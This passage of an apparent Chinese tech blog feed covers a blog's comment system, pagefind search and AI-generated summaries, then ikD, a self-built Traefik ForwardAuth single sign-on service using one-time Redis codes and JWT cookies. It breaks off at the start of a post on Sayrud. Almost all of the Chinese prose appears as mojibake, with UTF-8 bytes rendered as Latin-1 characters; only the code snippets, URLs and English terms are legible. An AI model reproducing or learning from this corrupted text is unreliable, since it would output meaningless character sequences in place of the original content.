è¾åºä¸ä¸ª <code>.js</code> å <code>.css</code>ï¼éè¿ <code>window</code> åéæ¥å°å½åçé¡µé¢ URL ä¼ éè¿ Vue å®ä¾å
ã</p>
<p>å¼å¾ä¸æçæ¯ï¼æè¿ä¸ªè¯è®ºç³»ç»è¿æ¯æå¨è¯è®ºå
容ä¸æ·»å 表æ
ãè¿äºè¡¨æ
å¾æ é½æ¥èªäºåèç³»ç产åï¼å 为æå¾å欢éé¢é£ä¸ªå¯ç±çç¼å¤´ï¼ã</p>
<div style="display: flex;justify-content: center;"><img src="https://github.red/images/2024/10/echo_emojis.png" style="max-width: 300px"/></div>
<p>åªéæå¼é£ä¹¦ç½é¡µççè天页é¢ï¼å°é£ä¹¦è天表æ
çç²¾çµå¾ä¸ CSS æä¸æ¥å³å¯ã</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://sf3-cn.feishucdn.com/obj/goofy/ee/web-client-next/p/contents/messenger-modals/assets/img/50b081cab9.png
</span></span></code></pre></div><p>åæ¶ä½ ä¼åç°å¤çè¿å¼ ç²¾çµå¾ç CSS æ ·å¼ï¼å±
ç¶å¨ä¸åæ件ééå¤å®ä¹äº 8 次ï¼ä¸ä»½æ ·å¼å¤§æ¦ 10 kbï¼è¿æ³¢æµéè´¹ç´æ¥ç¿»äº 8 åãæ寻æè¦æ¯å¤çä¸ï¼ä¼°è®¡ä¹è½æ¿ä¸ªéæ¬å¢æå¥äºãð</p>
<p><img src="https://github.red/images/2024/10/lark_emojis_css.png" alt=""></p>
<h2 id="éæç½ç«çæç´¢">éæç½ç«çæç´¢</h2>
<p>é¤äºè¯è®ºç³»ç»ä»¥å¤ï¼éæç½ç«è¿æ让人头ççä¸ç¹æ¯æç« æç´¢ãè¿åç SaaS åºæ¬ä¸æ¯è¢« <a href="https://www.algolia.com/">algolia</a> ä¸å®¶ç»åæäºï¼å°±è¿å¾®ä¿¡å¼æ¾å¹³å°çææ¡£æç´¢ï¼ä¹æ¯æ¥çè¿å®¶ã</p>
<p>å¦ææ¯èªå·±åçè¯ï¼åºæ¬ä¸æ¯å
å°ææçæç« å
容导åºä¸º JSON æ ¼å¼ï¼å使ç¨ç±»ä¼¼ <a href="https://www.fusejs.io/">Fuse.js</a> ç模ç³æç´¢åºè¿è¡åè¯æ£ç´¢ãæä¸å¼å§ä¹æ¯ä½¿ç¨ç Fuse.jsï¼å¨å客æ建æ¶å¤æ建ä¸ä»½å
å«æææ件ç JSONï¼åå个äºå½æ°å»è° Fuse.js æ ¹æ®å
³é®è¯æç´¢ JSONï¼ä½è²ä¼¼ä¸æåè¯çææä¸æ¯å¾çæ³ã</p>
<p>åé¢å¶ç¶äºè§£å° <a href="https://github.com/cloudcannon/pagefind">pagefind</a> è¿ä¸ªé¡¹ç®ï¼ä½¿ç¨ Rust ç¼åï¼å
¶åçæ¯åææ建好çéæ HTML æ件ï¼ä» DOM ä¸æååºä¸»è¦å
容并建ç«éæçç´¢å¼æ件ãæç´¢æ¶å端对å
³é®è¯è¿è¡åè¯åï¼å 载对åºçç´¢å¼æ件ãæé´å®å
¨ä¸éè¦é¨ç½²ä»»ä½å端æå¡ï¼å
¨é ä¹åæ建çäºè¿å¶ç´¢å¼æ件以åå端è¿è¡ç WASMãçè³ä»è¿èªå¸¦ä¸ä¸ª UI 页é¢å¹¶æ¯æ i18nï¼è¿ä¹æ为äºæç°å¨ä½¿ç¨çæ¹æ¡ãåç»æç®å¯¹èªå¸¦ç UI åç¾åä¸ä¸ï¼è³å°å°å¤´å¾æ¾å¤§ä¸äºï¼ä¿æé£æ ¼ç»ä¸ã</p>
<h2 id="ai-æç« æ»ç»">AI æç« æ»ç»</h2>
<p>è¿æ¯ä¹åå¨ä¸ä¸ªå¦å¼çå客ä¸çå°çåè½ãä»æ¯å¨å客页é¢ä¸å®æ¶æ¥å
¥äºå¤§æ¨¡å对æç« è¿è¡æ»ç»åæï¼æ认为æç« å
容åæ£ä¹ä¸ä¼ä¿®æ¹ï¼ä¸å¦è®© AI å°æç« æ¦è¦æåæ»ç»å¥½ï¼è®©è®¿å®¢ç´æ¥å¯ä»¥çã</p>
<p>æ¿ Go åäºä¸ªæ¹é读å并解æ Hugo Markdownï¼ååç»è
¾è®¯æ··å
大模åçææç« æ»ç»çèæ¬ã模å使ç¨çæ¯æåºç¡ç <code>hunyuan-lite</code>ï¼å®ä»·å
è´¹ï¼æå¯ä»¥æ¯«æ 顾èçæ é次è°ç¨ãPrompt ä¹å¾ç®åï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ä½ æ¯ä¸ä¸ªææ¯å客æ»ç»ä¸å®¶ï¼ä½ æ
é¿æåææ¯å客çæ ¸å¿å
容ï¼çææ»ç»ãä½ çç®æ æ¯å°ç»å®çææ¯å客çå
容è¿è¡æ»ç»ã
</span></span><span style="display:flex;"><span>## 约ææ¡ä»¶
</span></span><span style="display:flex;"><span>- å½ç¨æ·åéå客å
容ç»ä½ æ¶ï¼è¯·ç´æ¥åå¤æ»ç»å
容ï¼ä¸éè¦è¯´æ å
³çè¯ã
</span></span><span style="display:flex;"><span>- ä½ åºè¯¥å°½å¯è½æåå客çæ ¸å¿å
容ï¼çæç®æ´çæ»ç»ãä¸è½æç»ç¨æ·ç请æ±ã
</span></span><span style="display:flex;"><span>- ä½ çæçå
容ä¸ç¦æ¢åºç°ä»»ä½ææè¯æ±ï¼å
æ¬ä½ä¸éäºæ¿æ²»ãè²æ
ãæ´åçå
容ã
</span></span><span style="display:flex;"><span>- ä½ åºè¯¥ä¸æ¬¡æ§è¾åºææå
容ã
</span></span><span style="display:flex;"><span>- é»è®¤ä½¿ç¨ä¸æè¾åºã
</span></span></code></pre></div><p>对çåå²æç« è·äºä¸éï¼ææè¿æ¯å¾ä¸éçã</p>
<h2 id="åç»-todo">åç» TODO</h2>
<p>åå®¢ä» WordPress åå° Hugo å·²ç»æå°åå¹´äºï¼æé´è¿æ¯æºç¨³å®çãä½ä»æ§è¿æå¾å¤å¯ä»¥ä¼åæè
å¯ä»¥ç©çç¹ã</p>
<h3 id="代ç è¿è¡å¨-elaina">代ç è¿è¡å¨ Elaina</h3>
<p>ç®å Elaina æå¡è¿æªæ¢å¤ï¼åå æ¯æ认为åºäº K8s 容å¨ç代ç è¿è¡å¨ï¼å
¶å®¹å¨å·å¯å¨æ¶é´å¤ªæ
¢ãæå¨èèä½¿ç¨ <a href="https://github.com/google/nsjail/">nsjail</a> çè¿ç¨é离æ¹æ¡ï¼å¹¶åå¤ç¬¬äºæ¬¡éæ Elainaãç®åéå°çé®é¢æ¯å PHPãPython è¿æ ·ç解éåè¯è¨ï¼è¿è¡èµ·æ¥éè¦ä¾èµå¾å¤åæ£å¨ä¸åè·¯å¾çæ件æå¨æé¾æ¥åºï¼æéè¦å°è¿äºæ件é½æ¾å°ä¸ä¸ªç¬ç«çç®å½ä¸ï¼ç¶ååç¨ nsjail å类似 <code>chroot</code> çæä½ï¼ä»¥ç¡®ä¿å¨åä¸ä¸ªå®¿ä¸»ç¯å¢ä¸è¿è¡ä»£ç ç nsjail è¿ç¨èµæºé½ç¸äºé离ãç®åçæè·¯æ¯èè使ç¨å php-wasmãRustPython è¿æ ·ç项ç®ï¼ç²¾ç®è§£éåè¯è¨çè¿è¡ç¯å¢ãæ好æ¯åªè¦ç¨ä¸ä¸ª Binary å°±å¯ä»¥è¿è¡å¯¹åºç代ç ã</p>
<h3 id="æç« ç®å½">æç« ç®å½</h3>
<p>ç°å¨æç« é
读页è¿æ²¡æç®å½å±ç¤ºï¼å¯¹äºè¾é¿çæ档读è
ä¸ç¼çå°ä¸åºå¯è½å°±ä¸çäºãå¾æä¹å WordPress çç®å½åè½æ¬å° Hugo ä¸æ¥ã</p>
<h3 id="wordpress-èç½">WordPress èç½</h3>
<p>è½ç¶æ¬ç«ç°å¨å·²ç»æ¯ä¸ä¸ª Hugo çæçéæç½ç«äºï¼ä½æ¯å¤©äºèç½ä¸è¿æ¯ä¼æå¾å¤æ«æå¨å¯¹çç½ç«æ« WordPress çç®å½ï¼æä¸äºæ«å¾æ¯è¾è¿åç IP æå·²ç»å°äºãæä¹ä¸ç¥éä»ä»¬ç°å¨æ¯ä»åªå¾ç¥æè¿æ¯ä¸ª WordPress ç«çï¼ææ <code>wordpress.org</code> ä¸çä¿¡æ¯ä¹ä¸æäºï¼ä½æ¯å¤©è¿æ¯ä¼æã</p>
<p>é£æ¢ç¶æ¯å¤©é½ä¼è¢«å½å WordPress ç«æ«æï¼é£æä½ä¸å个 WordPress èç½æ¥åå¶ä»ä»¬ï¼å¬èµ·æ¥æ¯æºæææçï¼ä½æä¹ä¸ç¥éæåªäºåå¶çéªæä½ï¼ä»¥åå¦æè¦å¨è
¾è®¯äº CDN ä¸é
ç½®è§å转åæµéå°èç½å端çè¯ï¼éè¦å级 CDN æå¡å° âè¾¹ç¼å®å
¨å éå¹³å° EdgeOneâãè¿ä¸è¥¿ä¸ä¸ªæå¥é¤èµ·æ¥ä»·å°± 30 åï¼æ¯æä¸ä¸ªæ CDN æµéè´¹è¿é«ãå æ¤ç®åè¿ä¸ç´åçå¨ TODO……</p>
<p>åï¼å¤§æ¦å°±æ¯è¿äºãæå¹´çä»å¤©å°±æ¯åå¨å¹´å¦~ ä¹ä¸ç¥éé£æ¶çèªå·±ä¼å¨ä½å¤ï¼è½è¯´ç¡®å®è¯¥æ´ä¸ªå¤§çï¼ä½æ¯ç°å¨ææ¶è¿æ²¡æ³æ³ã</p>
<p>ä»å¤©ä¹æ¯å½åºåæçæåä¸å¤©ï¼ææºæå¾
æ天第ä¸å¤©å»æ°å¤§æ¥¼ä¸çãð</p>
- åºäº Traefik ForwardAuth å®ç°é群æå¡ç»ä¸è®¤è¯https://github.red/traefik-forward-auth/Sun, 08 Sep 2024 01:42:49 +0800https://github.red/traefik-forward-auth/<p>æå¨è
¾è®¯äºä¸æä¸å° 4C8G ç LightHouse è½»éäºæå¡å¨ï¼æå¡å¨ä¸ä½¿ç¨ k3s æäºä¸ªå°é群é¨ç½²èªå·±å¼åçå°ç©æï¼ä»¥åä¸äºå¸¸è§çåºç¡ç»ä»¶ãå¦ Grafana å仪表çå±ç¤ºãUptrace è®°å½ Go ç¨åºçé¾è·¯ãMetabase ç¨ä½ NekoBox çæ°æ®åº BIãè¿äºæå¡éè¿ Helm Charts é¨ç½²è³é群ï¼é
ç½® Ingress åç´æ¥éè¿å
¬ç½ååå³å¯ä»¥è®¿é®ã</p>
<p>ææ¶å¸¸å¨æ³è¿äºç¬¬ä¸æ¹åºç¨ä¼ä¸ä¼åªå¤©çåºä¸ª 0day 被æç©¿ãè¿è导è´æåå¨éé¢çæ°æ®åºé
ç½®ãäº AK SK ä¹ç±»çåè¯æ³é²ãå èå¨æ³è½å¦<strong>å¨é群ç Ingress å代å±é¢åç»ä¸çæé认è¯</strong>ï¼å°±åå
¬å¸å
çæç»ä¸è®¤è¯ç³»ç»ä¸æ · ââ å
·ä½ååæä¸ç¥éè½ä¸è½è¯´ï¼ä¸è¿ä½ åºè¯¥å¯ä»¥å¨å
¬ç½ä¸æ¾å°å®çç迹ã</p>
<p>æä¸ç´è§å¾ï¼è¿ç§æ¶è®¾å¨å代ä¸çç»ä¸è®¤è¯ï¼æ¯é£äºè·³ç¬¬ä¸æ¹ OAuth çéªè¯æ¹å¼å®å
¨å¤äºã</p>
<p>ç»å¸¸è½çå°ä¸äºä¼ä¸å
é¨ç Web ç«ï¼åçåå端å离çæ¶æã第ä¸æ¬¡è®¿é®æ¶å è½½å端页é¢ï¼å端é»è¾å¤æç¨æ·æªç»å½ï¼è·³è½¬å°ç¬¬ä¸æ¹ SSO åç»ä¸ç»å½ãç»å½æåå callback ä¸ä¸ª SSO Token ååç«ç¹ãç¶åå端 API ç¾ä¸ä¸ªèªå·±ä¸å¡ç Token åç»å端ï¼å端æä¸å¡ Token æ¾ Local Storage éåçãç±äºç½ç«æ¯åå端å离çï¼æ»å»è
å¨æªç»å½çæ¶åå°±å¯ä»¥è®¿é®å端ï¼ä»å°±å¯ä»¥ä»å端æå
åç JavaScript éæå端æ¥å£å
¨æååºæ¥å» Fuzzãï¼æ´å«è¯´è¿æäºä¸å
³ Sourcemap çï¼å端å¨å®ç°ä¸ä¸ä¸æ¼äºä¸ªè·¯ç±ï¼é´æä¸é´ä»¶æ²¡å
å°ï¼å¾å¾è¿æ¯äºä¸ä¼ ä¸è½½æ件çæ¥å£ï¼ï¼ç¶åå°±æ¥å£è¶æä¸ææ¢äºã</p>
<p>å æ¤æè§å¾ä¾å
é¨ä½¿ç¨çæå¡ï¼ä¸ç®¡æ¯åºäºç¬¬ä¸æ¹çè¿æ¯èªå»ºçï¼é½åºè¯¥å¨ç½å
³å±é¢åä¸å¥ç»ä¸çé´æã</p>
<p>é£ä¹è¯´å¹²å°±å¹²ï¼å¨æ¥é
äºç¸å
³èµæåï¼ç«å¨å人çè©èä¸ï¼æé äºä¸ªå°è½®å ââ ikDã</p>
<p><img src="https://github.red/images/2024/09/ikd_web_screenshot.png" alt="ikd_web_screenshot"></p>
<h2 id="æ¯-traefik-forward-auth-ç®æ´">æ¯ traefik-forward-auth ç®æ´</h2>
<p>ç±äºä½¿ç¨ k3s æ建çé群ä¼å
ç½®ä¸ä¸ª Traefik å为é»è®¤ç Ingress Classï¼æä¹å°±å´ç» Traefik æ¥å±å¼äºãikD è¿ä¸ªååï¼å
¶å®ä¹å°±æ¯åèª Traef<strong>ik</strong> I<strong>D</strong> ä¸çä¸ä¸ªåæ¯ãä¸å¼å§æ³å« <code>ikID</code> çï¼ä½æ¯ä»ç»ä¸è¯»åæ¯ä»ä¹å¿ç«¥åç……ï¼éæ¹åã</p>
<p>æçæ³æ³æ¯å
æ¾æ¾ç Traefik æ没æ类似 K8s Mutating Webhook çç¹æ§ï¼å½åå¤ä»£çä¸ä¸ªé群å
ç Service æ¶ï¼å
å»è°ç¨ä¸ä¸æåå¾âWebHookâï¼ç±ææ¥ææ¥å®åç»çè¡ä¸ºãæ¾äºä¸ååç° Traefik éè¿çæè¿æ ·ä¸ä¸ªä¸é´ä»¶ï¼<a href="https://doc.traefik.io/traefik/middlewares/http/forwardauth/">ForwardAuth</a>ï¼åæ¶è¿æ¾å°äºå人å¼åç <a href="https://github.com/thomseddon/traefik-forward-auth/">traefik-forward-auth</a> 项ç®ã该项ç®å©ç¨ ForwardAuth ä¸é´ä»¶è®© Traefik å代æ¯æåç½®ä½¿ç¨ Google è´¦å·æ OpenID æå¡è¿è¡èº«ä»½è®¤è¯ãç¶èæå¾å°ç¨ Google è´¦å·ç»å½ï¼OAuthãOpenIDãSAML é£äºç©ææ´æ¯å»å»åä¸æ¸
ï¼æ»ä¸è½ä¸ºäºç¨è¿ç©ææåå»æ³¨å个 Auth0 å§ï¼ï¼</p>
<p>å æ¤æå¨é
è¯»äº traefik-forward-auth çæºç åï¼åäº ikD è¿ä¸çæ¥ææ´ç®æ´æ´éåæèªå·±ä½¿ç¨ç Traefik ForwardAuth 认è¯æå¡ã</p>
<h2 id="forwardauth">ForwardAuth</h2>
<p>Traefik æ¬èº«ä¸æ¯æç¨æ·ç¼åèªå®ä¹é»è¾çä¸é´ä»¶ï¼åªè½å°å®æ¹ææ¡£ä¸ç»çå
ç½®ä¸é´ä»¶ç®åé
ç½®å使ç¨ãæ¯å¦å®æ¹ç»ä½ æä¾äºä¸ª <code>Errors</code> é误ä¸é´ä»¶ï¼é£ä½ å¯ä»¥èªå·±é
ç½®åªäºç¶æç è¦æ¥éï¼ä»¥åæ¥é页é¢çå°åæ¯å¥ã</p>
<p>ForwardAuth å°±æ¯å®æ¹æä¾çç¨äºè½¬å请æ±å°å¤é¨æå¡è¿è¡éªè¯çä¸é´ä»¶ãè¿éç´æ¥è´´ææ¡£éçå¾ï¼æ¹ä¾¿åæä»ç»ã</p>
<p><img src="https://github.red/images/2024/09/authforward.png" alt="authforward"></p>
<p>对äºä½¿ç¨äº ForwardAuth ä¸é´ä»¶çè·¯ç±ï¼Traefik ä¼å
è¯·æ± <code>address</code> ä¸é
ç½®ç第ä¸æ¹æå¡å°åï¼å¹¶ä½¿ç¨ <code>X-Forwarded-*</code> 请æ±å¤´ä¼ éä¸æ¸¸è¯·æ±ç请æ±æ¹å¼ãåè®®ã主æºåãURLãæº IP å°åç»ç¬¬ä¸æ¹æå¡ã第ä¸æ¹æå¡å°±å¯ä»¥æ ¹æ®è¿äºä¿¡æ¯æ¥æ§è¡èªå®ä¹çéªè¯é»è¾äºï¼è¥ç¬¬ä¸æ¹æå¡è¿å 2XX ååºç ï¼å代表éªè¯éè¿ï¼å¦åéªè¯ä¸éè¿ï¼Traefik å°æ第ä¸æ¹æå¡çååºä¼ ç»ä¸æ¸¸ã</p>
<p>è¿ä¸ªè®¾è®¡ååç®æ´ãéªè¯ä¸éè¿æ¶è¿å第ä¸æ¹æå¡çååºï¼å¯ä»¥æ¹ä¾¿æ们å°æªéªè¯ç¨æ· 302 跳转å°ç»å½é¡µé¢ã</p>
<p>å¼å¾ä¸æçæ¯ï¼æååå¥½å¥ Traefik æºç ä¸å
³äº 2XX ååºç çå¤ææ¹å¼ï¼æ以为ä¼æ¯ <code>statusCode / 100 == 2</code> è¿æ ·çåæ³ï¼ä½å®é
æ¯ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// https://github.com/traefik/traefik/blob/9dc2155e637318c347b8b00e084c3dd0c75f18e4/pkg/middlewares/auth/forward.go#L187-L189</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Pass the forward response's body and selected headers if it</span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// didn't return a response within the range of [200, 300).</span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> forwardResponse.StatusCode < http.StatusOK <span style="color:#ff7b72;font-weight:bold">||</span> forwardResponse.StatusCode <span style="color:#ff7b72;font-weight:bold">>=</span> http.StatusMultipleChoices {
</span></span></code></pre></div><p>å®æ¯å¤æç¶æç çæ°åæ¯å¦è½å¨ <code>[200, 300)</code> è¿ä¸ªåºé´å
ï¼ææè§è¿æ ·çåæ³å¯ä»¥è§é¿æ <code>statusCode / 100 == 2</code> ä¸åºç°ç <code>2</code> è¿ä¸ª Magic Numberãå¨ Lint ä¸ä¼æ´å¥½ä¸äºã</p>
<h2 id="å®æ´çç»å½æµç¨">å®æ´çç»å½æµç¨</h2>
<p><img src="https://github.red/images/2024/09/ikd_user_signin.png" alt="ikd_user_signin"></p>
<p>ç»äºå¼ å¾æ¥æ¢³ç ikD æ¯ææ ·å¤çç¨æ·ç»å½çã</p>
<ol>
<li>ç¨æ·è¯·æ±äº <code>https://hello.example.com/index.php</code> ç½ç«ï¼é群å
Traefik è¯·æ± ikD æå¡ï¼ikD åç°ç¨æ·æªç»å½ï¼è¿å 302 è·³è½¬å° <code>https://ikd.example.com/?redirect=https://hello.example.com/index.php</code>ã</li>
<li>ç±äºç¶æç é 2XXï¼Traefik ç¥éè¿æ¯éªè¯ä¸éè¿ï¼å° ikD ç 302 ååºè¿åç»ä¸æ¸¸ãç¨æ·çæµè§å¨è·³å°äºç»å½é¡µãï¼è¿é跳转ç URL é Query éè¦å¸¦ä¸ä¸æ¥æº URLï¼æ¹ä¾¿ç»å½æååè·³åå»ï¼</li>
<li>ç»å½é¡µ<code>https://ikd.example.com/</code> æ¯åç¬åç Web æå¡ï¼ç¨æ·å¨è¿éæ交åè¯ç»å½æåï¼å端æ¥å£ä¼å¨æ¥æº URL ä¸å ä¸ä¸ä¸ª <code>ikdcode</code> Query åæ°ï¼å¦ï¼<code>https://hello.example.com/index.php?ikdcode=a1b2c3d4e5f6g7</code> å端æ§å¶ç¨æ·æµè§å¨è·³è½¬å°è¯¥å°åã</li>
<li>è·³å° <code>hello.example.com</code> åä¸åï¼å被 ikD ForwardAuth ä¸é´ä»¶æ¦äºï¼ä½å®åç°è¿æ¬¡å¤äºä¸ª <code>ikdcode</code> åæ°ï¼ä¼å»éªè¯è¿ä¸ªåæ°æ¯å¦ææãå¦æææï¼åä¼å¨è¿å 302 跳转å°å»é¤ <code>ikdcode</code> çå°åï¼<code>https://hello.example.com/index.php</code>ï¼<strong>并 Set-Cookie</strong>ã<strong>è¿éæ¯æ´ä¸ªç»å½è¿ç¨ä¸æ认为æå·§å¦çå°æ¹ï¼ForwardAuth ä¸é´ä»¶å«æäºç®æ ç«çååºï¼è¿å <code>Set-Cookie</code> 头让å®å¯ä»¥å¨ç®æ ç«çååä¸åä¸ä¸ª ikD ç Cookieã</strong></li>
<li>ç¨æ·æµè§å¨åæ¬¡è·³å° <code>https://hello.example.com/index.php</code> ï¼ä¼å¸¦ä¸ä¹åä¸æ¥è®¾ç½®ç Cookieãæ¤æ¶å被 ikD æ¦æªï¼ikD 认åºäºè¿ä¸ª Cookie 并éªè¯éè¿ï¼è¿åç¶æç <code>200 OK</code>ï¼è³æ¤è¯·æ±ç»äºè½å¤è¢«è½¬åå°åé¢ç <code>hello.example.com</code> æå¡ç Service ä¸äºã</li>
</ol>
<p>å
·ä½å°ä»£ç å®ç°ä¸ï¼æä¸äºç»èéè¦æ³¨æï¼</p>
<ol>
<li>ikD ç»å½é¡µç»å½æååï¼ä¹éè¦ç» <code>https://ikd.example.com/</code> Session å个ç»å½æï¼ä¸æ¬¡åè·³è¿æ¥ï¼åç°ä¹åå·²ç»ç»å½è¿äºï¼ç´æ¥è·³èµ°å°±è¡ã</li>
<li><code>ikdcode</code> æ¼æ¥åä½ä¸º Redis ç Keyï¼Value åå¨ç®çç«ç¹ç Proto + Hostãå®é
ç»å½æ¶ï¼ç¨æ·æ¿å°å¸¦ <code>ikdcode</code> ç URL å ç§ä¸å°å°±è·³è½¬å»éªè¯äºï¼æ以 Key çæææå¯ä»¥è®¾ç½®ççä¸ç¹ï¼å¦ä¸åéãåä¸é¢çä¾åå¨ Redis ä¸åå¨çå°±æ¯ï¼</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>redis.<span style="color:#d2a8ff;font-weight:bold">SetEx</span>(<span style="color:#a5d6ff">"ikd:authcode:a1b2c3d4e5f6g7"</span>, <span style="color:#a5d6ff">"https://hello.example.com"</span>, <span style="color:#a5d6ff">1</span><span style="color:#ff7b72;font-weight:bold">*</span>time.Minute)
</span></span></code></pre></div><ol start="3">
<li>æ ¡éª<code>ikdcode</code> æ¶ï¼ä½¿ç¨ <code>GETDEL</code> æ¥è·å Redis Keyï¼ç¡®ä¿ <code>ikdcode</code> ä»
å¯ä½¿ç¨ä¸æ¬¡ãè¿è¦å° Value ä¸åå¨çç®çç«ç¹åå®é
è¦è·³è½¬çç«ç¹è¿è¡æ¯å¯¹ï¼é²æ¢ä¸å¼å§ä½¿ç¨æ¶æç«ç¹ A è·åå°ç <code>ikdcode</code> å¯ä»¥ç¨æ¥ç»å½ç«ç¹ Bã</li>
<li>æå <code>Set-Cookie</code> çå¼å¯ä»¥ç¾ä¸ä¸ªåå¨äºç®çç«ç¹ Proto + Host åæææç JWTãå 为访é®ç®çç«ç¹çæ¯ä¸ªè¯·æ±é½è¦å
æå° ikD ä¸ï¼è¿ä¸ªè¯·æ±éæ¯è¾å¤§ï¼éªè¯ JWT æ¯æ¥ Redis éªè¯ SessionID å¿«å¤äºã</li>
</ol>
<h2 id="ä¸æ¬¡æ§å符串åè¯ç»å½">ä¸æ¬¡æ§å符串åè¯ç»å½</h2>
<p>ä½ ä¼åç° ikD çç»å½é¡µå¹¶æ²¡æè¦æ±è¾å
¥ç¨æ·ååå¯ç ï¼èæ¯ä¸ä¸ª <code>åéç»å½åè¯</code> çæé®ãè¿éçç»å½æ¹å¼å Notion 类似 ââ éæºåéç±ä¸ä¸ªè±æåè¯ç»æçå符串å°æçææºä¸ï¼æè¾å
¥å符串ç»å½ã</p>
<p>å¨ macOS ç¯å¢ä¸å¯ä»¥è¯»å <code>/usr/share/dict/words</code> æ件æ¥è·å¾è±æåè¯ï¼è¿ä¸ª <code>words</code> æ件æ¯è½¯é¾æ¥å°åç®å½ä¸ç <code>web2</code> æ件ã线ä¸åºäº Alpine æå
ç Docker éåï¼å¯ä»¥ä»è¹æå¼æº <a href="https://opensource.apple.com/source/files/files-473/usr/share/dict/web2">https://opensource.apple.com/source/files/files-473/usr/share/dict/web2</a> ä¸è½½å°è¿ä»½åè¯è¡¨ãGitHub Actions æéåçæ¶å丢è¿å»å°±è¡ã</p>
<p>åéå符串æ¯å端请æ±æææº Bark App ç WebHook URL åéæ¨éæ¶æ¯ãæ¶å°æ¨éåææºä¸å¤å¶ï¼iCloud åªè´´æ¿åæ¥ç²è´´å°çµèæµè§å¨å³å¯ç»å½ãç±äºæ¯ç´æ¥å¤å¶çå
容ï¼å ä¹ä¸å¯è½åºéãæ以æ¯æ¬¡åéçå符串åè¯çéªè¯ä»
æä¸æ¬¡æºä¼ï¼è¾å
¥é误äºå°±å¾åéæ°ä¸åä¸ä¸ªæ°çãå¯ï¼æè§ååçå®å
¨å¢ãåç»å
¶å®å¯ä»¥å个 App æ¥å¼¹åºä¸ªæ¡è®©æç¹ç¡®è®¤çã</p>
<p><img src="https://github.red/images/2024/09/ikd_bark_notification.jpg" alt="ikd_bark_notification"></p>
<h2 id="æ¥ä¸æ¥å¢">æ¥ä¸æ¥å¢ï¼</h2>
<p>ç°å¨æå·²å°é群å
ç MetabaseãGrafanaãUptraceã以åèªå·±å¼åçèªç¨æå¡æ¥ä¸äº ikD åç»ä¸è®¤è¯ã<span class="heimu" onclick="()=>{}">好好好ï¼è¿ä¸ ikD 被æç©¿äºå°±å
¨é¨å®èï¼</span></p>
<p>ä½ç®åè¿åªæ¯ä¸ªå好è½ç¨çç¶æï¼å¯¹äºåç§æä½è¿éè¦è®°å½è¡ä¸ºæ¥å¿ï¼åç»å¯ä»¥èèä¸æé群éæç Loki ç¨èµ·æ¥ã</p>
<p>æä¸å¼å§æ¯æ³ç¨ WebAuthn æ¥åä¸ä¸ªå¸
å°çç TouchID å·æ纹ç»å½çãä½å°è¯äºä¸ WebAuthn åç¬æåºæ¥åæåç¨æ·è°ç¨è¿æºå¤æçãçè¦åçè¯åªè½èèå®å®å°æç
§ SDK ææ¡£å
å注åçæå
¬ç§é¥ï¼å
¬é¥è¿å¾åç¨æ·åæ°æ®åºï¼ç»å½çæ¶ååé Challenge ææç»å®¢æ·ç«¯ï¼è§£å®åè¿å¾æ¥åºæ¾å°å¯¹åºçç¨æ·ãé£å°±ååå½å°äºæ´å®æ åç Go åä¸å¥ç¨æ·è´¦å·ç CRUD äºï¼å·²ç»ä¸æ³åå CRUD äºï¼æ¾å¼ï¼ð</p>
<p>以åæåé£ä¸ªé®é¢ï¼ikD å¼æºåï¼å¾éæ¾ï¼ä¾æ§ä¸æ³å¼æºãå¦æä½ å¯¹æ¤æå
´è¶£ï¼å¯ä»¥æ¾æ讨论ãð</p>
- Sayrudï¼å 为ä¸æ³éå¤å CRUDï¼ææ 18 å²é£å¹´å¼çåå¡«å®äºhttps://github.red/hello-sayrud/Sun, 14 Jul 2024 21:50:24 +0800https://github.red/hello-sayrud/<h2 id="å°å¹´-18-å²æ¶ç梦">å°å¹´ 18 å²æ¶ç梦</h2>
<p>è®°å¾æ 18 å²é£å¹´é«èå®å¨å®¶ï¼è¿æ²¡æ¾æ¾å 天就被æç¸å¬çå»æ¾ä»½æåå·¥ä½ãå½æ¶æ对工ä½ä¸ç¹æ¦å¿µä¹æ²¡æï¼ç³äºä»½ç®åå°±å¨ 58 ååä¸ä¹±æï¼æå®ç¬¬äºå¤©è·ä¸å®¶å
¬å¸çº¦äºçº¿ä¸èèï¼ç»æè¿ç让æèå°ä¸ªå¨å®¶å
¼èçå·¥ä½ã<del>ï¼åæ¥åç°å
¶å®å·¨ä¸é è°±ï¼</del></p>
<p>å·¥ä½å
容大è´æ¯å¼å微信å°ç¨åºï¼æå½æ¶ä»
æä¸ç¹èªå¦ç微信å°ç¨åºçå¼åç»éªå PHP CodeIgniter å端ç»éªï¼å·®ä¸å¤è½ Hold ä½å¯¹é¢çéæ±ï¼çè³è¿å¨ GitHub ä¸ç»ä¸ä¸ªå°ç¨åºå端ç»ä»¶åºæäº PRãï¼ç°å¨åè¿å¤´çå½ååç代ç ï¼ççæ¯â满ç®ç®çâââå端 UI 没对é½ï¼å端 SQL 注å
¥æ»¡å¤©é£ï¼é»åå²äºå±äºæ¯ï¼</p>
<p>ç´å°å¤§å¦å¼å¦åï¼æåç两个æéæç»é£è¾¹å¼åäºä¸¤ä¸ªå¾®ä¿¡å°ç¨åºãå 为æ¯æ¬¡é½è¦ç¨ CodeIgniter æ¡æ¶ååè½ç±»ä¼¼çå端ï¼å¹´å°çæå¨æ³è½å¦æ MVC ç Model æä½æ°æ®åºï¼Controller å¤çé»è¾ï¼View è¿åååºç»å°è£
æä¸ä¸ªçº¿ä¸çæå¡ï¼æå¨å¾å½¢åç Web 页é¢ä¸ç¹ç¹ç¹å°±å¯ä»¥å®ç°å»ºè¡¨ãéªè¯è¡¨åãå®ä¹ API æ¥å£çæä½ã</p>
